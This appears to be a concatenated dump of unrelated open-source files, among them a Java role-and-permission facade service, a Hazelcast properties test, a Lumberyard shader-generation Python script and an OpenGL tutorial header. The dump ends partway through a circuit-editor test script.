package com.easytoolsoft.easyreport.membership.service.impl; import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import java.util.function.Predicate; import javax.annotation.Resource; import com.easytoolsoft.easyreport.common.tree.EasyUITreeNode; import com.easytoolsoft.easyreport.membership.domain.Module; import com.easytoolsoft.easyreport.membership.domain.User; import com.easytoolsoft.easyreport.membership.service.MembershipFacadeService; import com.easytoolsoft.easyreport.membership.service.ModuleService; import com.easytoolsoft.easyreport.membership.service.PermissionService; import com.easytoolsoft.easyreport.membership.service.RoleService; import com.easytoolsoft.easyreport.membership.service.UserService; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; import org.springframework.stereotype.Service; /** * 用户权限服务外观类 * * @author <NAME> * @date 2017-03-25 */ @Service("MembershipFacadeService") public class MembershipFacadeServiceImpl implements MembershipFacadeService { @Resource private UserService userService; @Resource private RoleService roleService; @Resource private ModuleService moduleService; @Resource private PermissionService permissionService; public MembershipFacadeServiceImpl() { } @Override public void loadCache() { this.permissionService.reloadCache(); } @Override public List<EasyUITreeNode<Module>> getModuleTree(final List<Module> modules, final Predicate<Module> predicate) { return this.moduleService.getModuleTree(modules, predicate); } @Override public User getUser(final String account) { return this.userService.getUserByAccount(account); } @Override public String getRoleNames(final String roleIds) { return this.roleService.getNames(roleIds); } @Override public Set<String> getRoleSet(final String roleIds) { final String[] roleIdSplit = StringUtils.split(roleIds, ','); if (roleIdSplit == null || roleIdSplit.length == 0) { return Collections.emptySet(); } final Set<String> roleSet = new HashSet<>(roleIdSplit.length); for (final String roleId : roleIdSplit) { if (!roleSet.contains(roleId.trim())) { roleSet.add(roleId); } } return roleSet; } @Override public Set<String> getPermissionSet(final String roleIds) { final String permissionIds = this.roleService.getPermissionIds(roleIds); if (StringUtils.isBlank(permissionIds)) { return Collections.emptySet(); } final Map<String, String> permissionMap = this.permissionService.getIdCodeMap(); final String[] permissionIdSplit = StringUtils.split(permissionIds, ','); final Set<String> permSet = new HashSet<>(); for (final String permId : permissionIdSplit) { final String perm = permissionMap.get(StringUtils.trim(permId)); if (StringUtils.isNotBlank(perm)) { permSet.add(perm); } } return permSet; } @Override public boolean hasPermission(final String roleIds, final String... codes) { if (this.isAdministrator(roleIds)) { return true; } if (StringUtils.isBlank(roleIds) || ArrayUtils.isEmpty(codes)) { return false; } final String permissionIds = this.roleService.getPermissionIds(roleIds); if (StringUtils.isBlank(permissionIds)) { return false; } final String[] permissionIdSplit = StringUtils.split(permissionIds, ','); final String codePermissionIds = this.permissionService.getPermissionIds(codes); final String[] codePermissionIdSplit = StringUtils.split(codePermissionIds, ','); return this.hasPermission(codePermissionIdSplit, permissionIdSplit); } private boolean hasPermission(final String[] codePermissionIdSplit, final String[] permissionIdSplit) { if (codePermissionIdSplit == null || permissionIdSplit == null) { return false; } for (final String permId : codePermissionIdSplit) { if (!ArrayUtils.contains(permissionIdSplit, permId)) { return false; } } return true; } @Override public boolean isAdministrator(final String roleIds) { if (StringUtils.isBlank(roleIds)) { return false; } return this.roleService.isSuperAdminRole(roleIds); } @Override public List<Module> getModules(final String roleIds) { if (this.isAdministrator(roleIds)) { return this.moduleService.getAll(); } final String moduleIds = this.roleService.getModuleIds(roleIds); return this.moduleService.getModules(moduleIds); } }
1,956
852
<gh_stars>100-1000 #ifndef PhysicsTools_Utilities_RootMinuitFuncEvaluator_h #define PhysicsTools_Utilities_RootMinuitFuncEvaluator_h namespace fit { template <typename Function> struct RootMinuitFuncEvaluator { static double evaluate(const Function& f) { return f(); } }; } // namespace fit #endif
110
370
<filename>jte-gradle-plugin/src/main/java/gg/jte/gradle/JteTaskBase.java package gg.jte.gradle; import gg.jte.ContentType; import org.gradle.api.DefaultTask; import org.gradle.api.provider.Property; import org.gradle.api.tasks.Input; import org.gradle.api.tasks.InputDirectory; import org.gradle.api.tasks.Optional; import org.gradle.api.tasks.OutputDirectory; import java.io.File; import java.nio.file.Path; public abstract class JteTaskBase extends DefaultTask { public JteTaskBase(JteExtension extension, JteStage stage) { this.extension = extension; this.stage = stage; onlyIf(t -> extension.getStage().getOrNull() == stage); } private final JteStage stage; protected final JteExtension extension; // for backwards compatibility, set the stage if a setter on the task is called directly protected void setterCalled() { extension.getStage().set(stage); } @InputDirectory public Path getSourceDirectory() { return extension.getSourceDirectory().get(); } public void setSourceDirectory(Path value) { extension.getSourceDirectory().set(value); setterCalled(); } @OutputDirectory @Optional public Path getTargetDirectory() { return extension.getTargetDirectory().get(); } public void setTargetDirectory(Path value) { extension.getTargetDirectory().set(value); setterCalled(); } @Input public ContentType getContentType() { return extension.getContentType().get(); } public void setContentType(ContentType value) { extension.getContentType().set(value); setterCalled(); } @Input @Optional public Boolean getTrimControlStructures() { return extension.getTrimControlStructures().getOrNull(); } public void setTrimControlStructures(Boolean value) { extension.getTrimControlStructures().set(value); setterCalled(); } @Input @Optional public String[] getHtmlTags() { return extension.getHtmlTags().getOrNull(); } public void setHtmlTags(String[] value) { extension.getHtmlTags().set(value); setterCalled(); } @Input @Optional public String[] getHtmlAttributes() { return extension.getHtmlAttributes().getOrNull(); } public void setHtmlAttributes(String[] value) { extension.getHtmlAttributes().set(value); setterCalled(); } @Input @Optional public Boolean getHtmlCommentsPreserved() { return extension.getHtmlCommentsPreserved().getOrNull(); } public void setHtmlCommentsPreserved(Boolean value) { extension.getHtmlCommentsPreserved().set(value); setterCalled(); } public void setBinaryStaticContent(Boolean binaryStaticContent) { extension.getBinaryStaticContent().set(binaryStaticContent); setterCalled(); } @Input @Optional public Boolean getBinaryStaticContent() { return extension.getBinaryStaticContent().getOrNull(); } @Input @Optional public String getPackageName() { return extension.getPackageName().getOrNull(); } public void setPackageName(String packageName) { extension.getPackageName().set(packageName); setterCalled(); } @OutputDirectory @Optional public Path getTargetResourceDirectory() { return extension.getTargetResourceDirectory().getOrNull(); } public void setTargetResourceDirectory(Path targetResourceDirectory) { extension.getTargetResourceDirectory().set(targetResourceDirectory); setterCalled(); } }
1,356
4,283
/* * Copyright (c) 2008-2021, Hazelcast, Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.hazelcast.spi.properties; import com.hazelcast.config.Config; import com.hazelcast.internal.diagnostics.HealthMonitorLevel; import com.hazelcast.test.HazelcastSerialClassRunner; import com.hazelcast.test.annotation.QuickTest; import org.junit.Test; import org.junit.experimental.categories.Category; import org.junit.runner.RunWith; import java.util.Properties; import java.util.concurrent.TimeUnit; import java.util.function.Function; import static com.hazelcast.spi.properties.ClusterProperty.ENTERPRISE_LICENSE_KEY; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotEquals; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertTrue; @RunWith(HazelcastSerialClassRunner.class) @Category(QuickTest.class) public class HazelcastPropertiesTest { private final Config config = new Config(); private final HazelcastProperties defaultProperties = new HazelcastProperties(config); @Test public void testNullProperties() { HazelcastProperties properties = new HazelcastProperties((Properties) null); assertTrue(properties.keySet().isEmpty()); } @Test public void testKeySet_whenPropertiesAvailable() { Properties props = new Properties(); props.setProperty("key1", "value1"); props.setProperty("key2", "value2"); HazelcastProperties properties = new HazelcastProperties(props); assertEquals(props.keySet(), properties.keySet()); } @Test(expected = UnsupportedOperationException.class) public void testKeySet_isImmutable() { HazelcastProperties properties = new HazelcastProperties(config); properties.keySet().remove("foo"); } @Test(expected = NullPointerException.class) public void testGet_whenKeyNull() { HazelcastProperties properties = new HazelcastProperties(config); properties.get(null); } @Test public void testGet_whenKeyNotExisting() { Properties props = new Properties(); props.setProperty("key1", "value1"); props.setProperty("key2", "value2"); HazelcastProperties properties = new HazelcastProperties(props); assertNull(properties.get("nonExistingKey")); } @Test public void testGet_whenKeyExisting() { Properties props = new Properties(); props.setProperty("key1", "value1"); props.setProperty("key2", "value2"); HazelcastProperties properties = new HazelcastProperties(props); assertEquals("value1", properties.get("key1")); } @Test public void testGet_whenFunctionAvailable_andNoOtherSettings() { Properties props = new Properties(); HazelcastProperty p = new HazelcastProperty("key", new Function<HazelcastProperties, Integer>() { @Override public Integer apply(HazelcastProperties properties) { return 23; } }); HazelcastProperties properties = new HazelcastProperties(props); assertEquals(23, properties.getInteger(p)); } @Test public void testGet_whenFunctionAvailable_andPropertySet() { Properties props = new Properties(); props.setProperty("key", "1"); HazelcastProperty p = new HazelcastProperty("key", new Function<HazelcastProperties, Integer>() { @Override public Integer apply(HazelcastProperties properties) { return 23; } }); HazelcastProperties properties = new HazelcastProperties(props); assertEquals(1, properties.getInteger(p)); } @Test public void setProperty_ensureHighestPriorityOfConfig() { config.setProperty(ENTERPRISE_LICENSE_KEY.getName(), "configValue"); ENTERPRISE_LICENSE_KEY.setSystemProperty("systemValue"); HazelcastProperties properties = new HazelcastProperties(config); String value = properties.getString(ENTERPRISE_LICENSE_KEY); System.clearProperty(ENTERPRISE_LICENSE_KEY.getName()); assertEquals("configValue", value); } @Test public void setProperty_ensureUsageOfSystemProperty() { ENTERPRISE_LICENSE_KEY.setSystemProperty("systemValue"); HazelcastProperties hazelcastProperties = new HazelcastProperties(config); String value = hazelcastProperties.getString(ENTERPRISE_LICENSE_KEY); System.clearProperty(ENTERPRISE_LICENSE_KEY.getName()); assertEquals("systemValue", value); } @Test public void setProperty_ensureUsageOfDefaultValue() { String value = defaultProperties.getString(ENTERPRISE_LICENSE_KEY); assertNull(value); } @Test public void setProperty_inheritDefaultValueOfParentProperty() { HazelcastProperty parent = new HazelcastProperty("parent", 1); HazelcastProperty child = new HazelcastProperty("child", parent); assertEquals(1, defaultProperties.getInteger(child)); } @Test public void setProperty_inheritActualValueOfParentProperty() { config.setProperty(ClusterProperty.IO_THREAD_COUNT.getName(), "1"); HazelcastProperties properties = new HazelcastProperties(config); String inputIOThreadCount = properties.getString(ClusterProperty.IO_INPUT_THREAD_COUNT); assertEquals("1", inputIOThreadCount); assertNotEquals(ClusterProperty.IO_THREAD_COUNT.getDefaultValue(), inputIOThreadCount); } @Test public void getSystemProperty() { ClusterProperty.WAIT_SECONDS_BEFORE_JOIN.setSystemProperty("12"); assertEquals("12", ClusterProperty.WAIT_SECONDS_BEFORE_JOIN.getSystemProperty()); System.clearProperty(ClusterProperty.WAIT_SECONDS_BEFORE_JOIN.getName()); } @Test public void getBoolean() { HazelcastProperty property = new HazelcastProperty("foo", "true"); boolean isHumanReadable = defaultProperties.getBoolean(property); assertTrue(isHumanReadable); } @Test public void getInteger() { HazelcastProperty property = new HazelcastProperty("key", 3); int ioThreadCount = defaultProperties.getInteger(property); assertEquals(3, ioThreadCount); } @Test public void getLong() { long lockMaxLeaseTimeSeconds = defaultProperties.getLong(ClusterProperty.LOCK_MAX_LEASE_TIME_SECONDS); assertEquals(Long.MAX_VALUE, lockMaxLeaseTimeSeconds); } @Test public void getFloat() { HazelcastProperty property = new HazelcastProperty("foo", 10.1F); float foo = defaultProperties.getFloat(property); assertEquals(10.1F, foo, 0.0001); } @Test public void getDouble() { HazelcastProperty property = new HazelcastProperty("foo", 10.1D); double foo = defaultProperties.getDouble(property); assertEquals(10.1D, foo, 0.0001); } @Test public void getPositiveMillisOrDefault() { String name = ClusterProperty.PARTITION_TABLE_SEND_INTERVAL.getName(); config.setProperty(name, "-300"); HazelcastProperty property = new HazelcastProperty(name, "20", TimeUnit.MILLISECONDS); long millis = defaultProperties.getPositiveMillisOrDefault(property); assertEquals(20, millis); } @Test public void getPositiveMillisOrDefaultWithManualDefault() { String name = ClusterProperty.PARTITION_TABLE_SEND_INTERVAL.getName(); config.setProperty(name, "-300"); HazelcastProperties properties = new HazelcastProperties(config); HazelcastProperty property = new HazelcastProperty(name, "20", TimeUnit.MILLISECONDS); long millis = properties.getPositiveMillisOrDefault(property, 50); assertEquals(50, millis); } @Test public void getTimeUnit() { config.setProperty(ClusterProperty.PARTITION_TABLE_SEND_INTERVAL.getName(), "300"); HazelcastProperties properties = new HazelcastProperties(config); assertEquals(300, properties.getSeconds(ClusterProperty.PARTITION_TABLE_SEND_INTERVAL)); } @Test public void getTimeUnit_default() { long expectedSeconds = 15; long intervalNanos = defaultProperties.getNanos(ClusterProperty.PARTITION_TABLE_SEND_INTERVAL); long intervalMillis = defaultProperties.getMillis(ClusterProperty.PARTITION_TABLE_SEND_INTERVAL); long intervalSeconds = defaultProperties.getSeconds(ClusterProperty.PARTITION_TABLE_SEND_INTERVAL); assertEquals(TimeUnit.SECONDS.toNanos(expectedSeconds), intervalNanos); assertEquals(TimeUnit.SECONDS.toMillis(expectedSeconds), intervalMillis); assertEquals(expectedSeconds, intervalSeconds); } @Test(expected = IllegalArgumentException.class) public void getTimeUnit_noTimeUnitProperty() { defaultProperties.getMillis(ClusterProperty.EVENT_THREAD_COUNT); } @Test public void getEnum() { config.setProperty(ClusterProperty.HEALTH_MONITORING_LEVEL.getName(), "NOISY"); HazelcastProperties properties = new HazelcastProperties(config.getProperties()); HealthMonitorLevel healthMonitorLevel = properties .getEnum(ClusterProperty.HEALTH_MONITORING_LEVEL, HealthMonitorLevel.class); assertEquals(HealthMonitorLevel.NOISY, healthMonitorLevel); } @Test public void getEnum_default() { HazelcastProperties properties = new HazelcastProperties(config.getProperties()); HealthMonitorLevel healthMonitorLevel = properties .getEnum(ClusterProperty.HEALTH_MONITORING_LEVEL, HealthMonitorLevel.class); assertEquals(HealthMonitorLevel.SILENT, healthMonitorLevel); } @Test public void getString_whenDeprecatedNameUsed() { Properties props = new Properties(); props.setProperty("oldname", "10"); HazelcastProperties properties = new HazelcastProperties(props); HazelcastProperty property = new HazelcastProperty("newname") .setDeprecatedName("oldname"); String value = properties.getString(property); assertEquals("10", value); } }
3,887
1,738
# # All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or # its licensors. # # For complete copyright and license terms please see the LICENSE at the root of this # distribution (the "License"). All use of this software is governed by the License, # or, if provided, by the license below or the license accompanying this file. Do not # remove or modify any license notices. This file is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # import argparse import importlib import os import pkgutil import shutil import subprocess class _Configuration: def __init__(self, platform, asset_platform, core_compiler): self.platform = platform self.asset_platform = asset_platform self.compiler = '{}-{}'.format(platform, core_compiler) def __str__(self): return '{} ({})'.format(self.platform, self.asset_platform) class _ShaderType: def __init__(self, name, base_compiler): self.name = name self.core_compiler = '{}-{}'.format(base_compiler, name) self.configurations = [] def add_configuration(self, platform, asset_platform): self.configurations.append(_Configuration(platform, asset_platform, self.core_compiler)) def find_shader_type(shader_type_name, shader_types): return next((shader for shader in shader_types if shader.name == shader_type_name), None) def find_shader_configuration(platform, assets, shader_configurations): if platform: check_func = lambda config: config.platform == platform and config.asset_platform == assets else: check_func = lambda config: config.asset_platform == assets return next((config for config in shader_configurations if check_func(config)), None) def error(msg): print(msg) exit(1) def is_windows(): if os.name == 'nt': return True else: return False def gen_shaders(game_name, shader_type, shader_config, shader_list, bin_folder, game_path, engine_path, verbose): """ Generates the shaders for a specific platform and shader type using a list of shaders using ShaderCacheGen. The generated shaders will be output at Cache/<game_name>/<asset_platform>/user/cache/Shaders/Cache/<shader_type> """ platform = shader_config.platform asset_platform = shader_config.asset_platform compiler = shader_config.compiler asset_cache_root = os.path.join(game_path, 'Cache', game_name, asset_platform) # Make sure that the Cache/.../user folder exists cache_user_folder = os.path.join(asset_cache_root, 'user') if not os.path.isdir(cache_user_folder): try: os.makedirs(cache_user_folder) except os.error as err: error("Unable to create the required cache folder '{}': {}".format(cache_user_folder, err)) cache_shader_list = os.path.join(cache_user_folder, 'cache', 'shaders', 'shaderlist.txt') if shader_list is None: if is_windows(): shader_compiler_platform = 'x64' else: shader_compiler_platform = 'osx' shader_list_path = os.path.join(engine_path, 'Tools', 'CrySCompileServer', shader_compiler_platform, 'profile', 'Cache', game_name, compiler, 'ShaderList_{}.txt'.format(shader_type)) if not os.path.isfile(shader_list_path): shader_list_path = cache_shader_list print("Source Shader List not specified, using {} by default".format(shader_list_path)) else: shader_list_path = os.path.join(game_path, shader_list) normalized_shaderlist_path = os.path.normpath(os.path.normcase(os.path.realpath(shader_list_path))) normalized_cache_shader_list = os.path.normpath(os.path.normcase(os.path.realpath(cache_shader_list))) if normalized_shaderlist_path != normalized_cache_shader_list: cache_shader_list_basename = os.path.split(cache_shader_list)[0] if not os.path.exists(cache_shader_list_basename): os.makedirs(cache_shader_list_basename) print("Copying shader_list from {} to {}".format(shader_list_path, cache_shader_list)) shutil.copy2(shader_list_path, cache_shader_list) platform_shader_cache_path = os.path.join(cache_user_folder, 'cache', 'shaders', 'cache', shader_type.lower()) shutil.rmtree(platform_shader_cache_path, ignore_errors=True) shadergen_path = os.path.join(engine_path, bin_folder, 'ShaderCacheGen') if is_windows(): shadergen_path += '.exe' if not os.path.isfile(shadergen_path): error("ShaderCacheGen could not be found at {}".format(shadergen_path)) else: command_arguments = [ shadergen_path, '/BuildGlobalCache', '/ShadersPlatform={}'.format(shader_type), '/TargetPlatform={}'.format(asset_platform) ] if verbose: print('Running: {}'.format(' '.join(command_arguments))) subprocess.call(command_arguments) def add_shaders_types(): """ Add the shader types for the non restricted platforms. The compiler argument is used for locating the shader_list file. """ shaders = [] d3d11 = _ShaderType('D3D11', 'D3D11_FXC') d3d11.add_configuration('PC', 'pc') shaders.append(d3d11) gl4 = _ShaderType('GL4', 'GLSL_HLSLcc') gl4.add_configuration('PC', 'pc') shaders.append(gl4) gles3 = _ShaderType('GLES3', 'GLSL_HLSLcc') gles3.add_configuration('Android', 'es3') shaders.append(gles3) metal = _ShaderType('METAL', 'METAL_LLVM_DXC') metal.add_configuration('Mac', 'osx_gl') metal.add_configuration('iOS', 'ios') shaders.append(metal) for (_, module_name, is_package) in pkgutil.iter_modules([os.path.dirname(__file__)]): if not is_package: continue try: imported_module = importlib.import_module('{}.gen_shaders'.format(module_name)) except: continue restricted_func = getattr(imported_module, 'get_restricted_platform_shader', lambda: iter(())) for shader_type, shader_compiler, platform_name, asset_platform in restricted_func(): shader = find_shader_type(shader_type, shaders) if shader is None: shader = _ShaderType(shader_type, shader_compiler) shaders.append(shader) shader.add_configuration(platform_name, asset_platform) return shaders def check_arguments(args, parser, shader_types): """ Check that the platform and shader type arguments are correct. """ shader_names = [shader.name for shader in shader_types] shader_found = find_shader_type(args.shader_type, shader_types) if shader_found is None: parser.error('Invalid shader type {}. Must be one of [{}]'.format(args.shader_type, ' '.join(shader_names))) else: config_found = find_shader_configuration(args.shader_platform, args.asset_platform, shader_found.configurations) if config_found is None: parser.error('Invalid configuration for shader type "{}". It must be one of the following: {}'.format(shader_found.name, ', '.join(str(config) for config in shader_found.configurations))) args.game_path = args.game_path or args.engine_path parser = argparse.ArgumentParser(description='Generates the shaders for a specific platform and shader type.') parser.add_argument('game_name', type=str, help="Name of the game") parser.add_argument('asset_platform', type=str, help="The asset cache sub folder to use for shader generation") parser.add_argument('shader_type', type=str, help="The shader type to use") parser.add_argument('-p', '--shader_platform', type=str, required=False, default='', help="The target platform to generate shaders for.") parser.add_argument('-b', '--bin_folder', type=str, help="Folder where the ShaderCacheGen executable lives. This is used along the game_path (game_path/bin_folder/ShaderCacheGen)") parser.add_argument('-e', '--engine_path', type=str, help="Path to the engine root folder. This the same as game_path for non external projects") parser.add_argument('-g', '--game_path', type=str, required=False, help="Path to the game root folder. This the same as engine_path for non external projects") parser.add_argument('-s', '--shader_list', type=str, required=False, help="Optional path to the list of shaders. If not provided will use the list generated by the local shader compiler.") parser.add_argument('-v', '--verbose', action="store_true", required=False, help="Increase the logging output") args = parser.parse_args() shader_types = add_shaders_types() check_arguments(args, parser, shader_types) print('Generating shaders for {} (shaders={}, platform={}, assets={})'.format(args.game_name, args.shader_type, args.shader_platform, args.asset_platform)) shader = find_shader_type(args.shader_type, shader_types) shader_config = find_shader_configuration(args.shader_platform, args.asset_platform, shader.configurations) gen_shaders(args.game_name, args.shader_type, shader_config, args.shader_list, args.bin_folder, args.game_path, args.engine_path, args.verbose) print('Finish generating shaders')
3,370
1,652
<filename>redis/redis-core/src/main/java/com/ctrip/xpipe/redis/core/metaserver/MetaServerConsoleServiceManager.java<gh_stars>1000+ package com.ctrip.xpipe.redis.core.metaserver; /** * used for console * @author wenchao.meng * * Aug 2, 2016 */ public interface MetaServerConsoleServiceManager{ MetaServerConsoleService getOrCreate(String metaServerAddress); MetaServerConsoleService getOrCreateFastService(String metaServerAddress); }
139
332
<reponame>wwjiang007/spring-xd /* * Copyright 2013-2014 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. */ package org.springframework.xd.dirt.plugins; import static org.springframework.xd.module.options.spi.ModulePlaceholders.XD_GROUP_NAME_KEY; import java.util.Properties; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.ClassPathResource; import org.springframework.xd.dirt.util.ConfigLocations; import org.springframework.xd.module.core.Module; /** * Exports MBeans from a module using a unique domain name xd.[group].[module]. * * @author <NAME> * @author <NAME> * @author <NAME> */ public class MBeanExportingPlugin extends AbstractPlugin { private static final String CONTEXT_CONFIG_ROOT = ConfigLocations.XD_CONFIG_ROOT + "plugins/jmx/"; @Value("${XD_JMX_ENABLED}") private boolean jmxEnabled; @Override public void preProcessModule(Module module) { Properties properties = new Properties(); properties.setProperty(XD_GROUP_NAME_KEY, module.getDescriptor().getGroup()); module.addProperties(properties); module.addSource(new ClassPathResource(CONTEXT_CONFIG_ROOT + "mbean-exporters.xml")); } @Override public boolean supports(Module module) { return jmxEnabled; } }
534
367
#ifndef _MAIN_H #define _MAIN_H #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <gl\gl.h> // Header File For The OpenGL32 Library #include <gl\glu.h> // Header File For The GLu32 Library #define SCREEN_WIDTH 800 // We want our screen width 800 pixels #define SCREEN_HEIGHT 600 // We want our screen height 600 pixels #define SCREEN_DEPTH 16 // We want 16 bits per pixel #define MAX_TEXTURES 1 // This says how many texture we will be using extern UINT g_Texture[MAX_TEXTURES]; // This is our texture data array extern bool g_bFullScreen; // Set full screen as default extern HWND g_hWnd; // This is the handle for the window extern RECT g_rRect; // This holds the window dimensions extern HDC g_hDC; // General HDC - (handle to device context) extern HGLRC g_hRC; // General OpenGL_DC - Our Rendering Context for OpenGL extern HINSTANCE g_hInstance; // This holds our window hInstance // This is our MAIN() for windows int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hprev, PSTR cmdline, int ishow); // The window proc which handles all of window's messages. LRESULT CALLBACK WinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); // This controls our main program loop WPARAM MainLoop(); // This loads a texture into openGL from a file (IE, "bitmap.bmp") bool CreateTexture(GLuint &textureID, LPTSTR szFileName) ; // This changes the screen to full screen mode void ChangeToFullScreen(); // This is our own function that makes creating a window modular and easy HWND CreateMyWindow(LPSTR strWindowName, int width, int height, DWORD dwStyle, bool bFullScreen, HINSTANCE hInstance); // This allows us to configure our window for OpenGL and backbuffering bool bSetupPixelFormat(HDC hdc); // This inits our screen translations and projections void SizeOpenGLScreen(int width, int height); // This sets up OpenGL void InitializeOpenGL(int width, int height); // This initializes the whole program void Init(HWND hWnd); // This draws everything to the screen void RenderScene(); // This frees all our memory in our program void DeInit(); #endif ///////////////////////////////////////////////////////////////////////////////// // // * QUICK NOTES * // // Nothing new was added to this file for this tutorial (Since the texture tutorial) // // // // DigiBen // www.GameTutorials.com // //
818
821
#Copyright (c) 2014 Sony Computer Entertainment America LLC. See License.txt. import sys sys.path.append("./CommonTestScripts") import System import Test import CircuitEditorUtil import Sce.Atf.Applications doc = atfDocService.OpenNewDocument(editor) CircuitEditorUtil.SetGlobals(schemaLoader, Schema) grpCmds.CreationOptions = GroupingCommands.GroupCreationOptions.None modules = [] annotations = [] connections = [] print "Adding annotations" comment = editingContext.Insert[Annotation](DomNode(Schema.annotationType.Type), 100, 50) editingContext.SetProperty(comment.DomNode, Schema.annotationType.textAttribute, "inputs") comment2 = editingContext.Insert[Annotation](DomNode(Schema.annotationType.Type), 300, 50) editingContext.SetProperty(comment2.DomNode, Schema.annotationType.textAttribute, "logic") comment3 = editingContext.Insert[Annotation](DomNode(Schema.annotationType.Type), 500, 50) editingContext.SetProperty(comment3.DomNode, Schema.annotationType.textAttribute, "outputs") print "Adding modules" btn1 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("buttonType", "btn1"), 100, 100) btn2 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("buttonType", "btn2"), 100, 200) btn3 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("buttonType", "btn3"), 100, 300) btn4 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("buttonType", "btn4"), 100, 400) btn5 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("buttonType", "btn5"), 100, 500) btn6 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("buttonType", "btn6"), 100, 600) sound = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("soundType", "sounds of silence"), 300, 100) and1 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("andType", "and1"), 200, 250) or1 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("orType", "or1"), 200, 350) or2 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("orType", "or2"), 300, 300) and2 = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("andType", "and2"), 400, 200) speaker = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("speakerType", "speakeazy"), 500, 200) light = editingContext.Insert[Module](CircuitEditorUtil.CreateModuleNode("lightType", "lights out"), 500, 300) print "Adding connections" btn1ToSound = editingContext.Connect(btn1, btn1.Type.Outputs[0], sound, sound.Type.Inputs[0], None) soundToAnd2 = editingContext.Connect(sound, sound.Type.Outputs[0], and2, and2.Type.Inputs[0], None) and2ToSpeaker = editingContext.Connect(and2, and2.Type.Outputs[0], speaker, speaker.Type.Inputs[0], None) btn2ToAnd1 = editingContext.Connect(btn2, btn2.Type.Outputs[0], and1, and1.Type.Inputs[0], None) btn3ToAnd1 = editingContext.Connect(btn3, btn3.Type.Outputs[0], and1, and1.Type.Inputs[1], None) and1ToOr2 = editingContext.Connect(and1, and1.Type.Outputs[0], or2, or2.Type.Inputs[0], None) btn4ToOr1 = editingContext.Connect(btn4, btn4.Type.Outputs[0], or1, or1.Type.Inputs[0], None) btn5ToOr1 = editingContext.Connect(btn5, btn5.Type.Outputs[0], or1, or1.Type.Inputs[1], None) or1ToOr2 = editingContext.Connect(or1, or1.Type.Outputs[0], or2, or2.Type.Inputs[1], None) or2ToAnd2 = editingContext.Connect(or2, or2.Type.Outputs[0], and2, and2.Type.Inputs[1], None) or2ToLight = editingContext.Connect(or2, or2.Type.Outputs[0], light, light.Type.Inputs[0], None) print "Creating groups" #TODO: undo/redo, moving a group, adding/removing transition baselineCnt = editingContext.CircuitContainer.Elements.Count #to-do: find a way to make all pins visible when groups are created. I commented out references to # Outputs and Inputs because those properties get the list of visible pins, rather than all pins. --Ron #note: group's location will be the upper left of all the items. #So get X coordinate of left most item, and Y coordinate of the highest item xpos = btn1.Position.X ypos = btn1.Position.Y #Group with one item grp1 = CircuitEditorUtil.AddGroup([btn1], editingContext, grpCmds, "grp1") Test.Equal(xpos, grp1.Position.X) Test.Equal(ypos, grp1.Position.Y) #Connections are actually the internal connections that are contained within the group Test.Equal(grp1.Wires.Count, 0) #Test.Equal(grp1.Inputs.Count, 0) #Test.Equal(grp1.Outputs.Count, 1) Test.Equal(baselineCnt, editingContext.CircuitContainer.Elements.Count) #Group with two items xpos = btn2.Position.X ypos = btn2.Position.Y grp2 = CircuitEditorUtil.AddGroup([btn2, btn3], editingContext, grpCmds, "grp2") Test.Equal(xpos, grp2.Position.X) Test.Equal(ypos, grp2.Position.Y) Test.Equal(grp2.Wires.Count, 0) #Test.Equal(grp2.Inputs.Count, 0) #Test.Equal(grp2.Outputs.Count, 2) Test.Equal(baselineCnt - 1, editingContext.CircuitContainer.Elements.Count) #Group with no connections xpos = btn6.Position.X ypos = btn6.Position.Y grp3 = CircuitEditorUtil.AddGroup([btn6], editingContext, grpCmds, "grp3") Test.Equal(xpos, grp3.Position.X) Test.Equal(ypos, grp3.Position.Y) Test.Equal(grp3.Wires.Count, 0) #Test.Equal(grp3.Inputs.Count, 0) #Test.Equal(grp3.Outputs.Count, 1) Test.Equal(baselineCnt - 1, editingContext.CircuitContainer.Elements.Count) #Group with different types of objects #save locations for when they are ungrouped locations = [[sound.Position.X, sound.Position.Y], [and1.Position.X, and1.Position.Y], [and2.Position.X, and2.Position.Y], [or1.Position.X, or1.Position.Y], [or2.Position.X, or2.Position.Y]] grp4 = CircuitEditorUtil.AddGroup([sound, and1, and2, or1, or2], editingContext, grpCmds, "grp4") Test.Equal(locations[1][0], grp4.Position.X) Test.Equal(locations[0][1], grp4.Position.Y) Test.Equal(grp4.Wires.Count, 4) #Test.Equal(grp4.Inputs.Count, 7) #Test.Equal(grp4.Outputs.Count, 5) Test.Equal(baselineCnt - 5, editingContext.CircuitContainer.Elements.Count) #Group of groups grp5 = 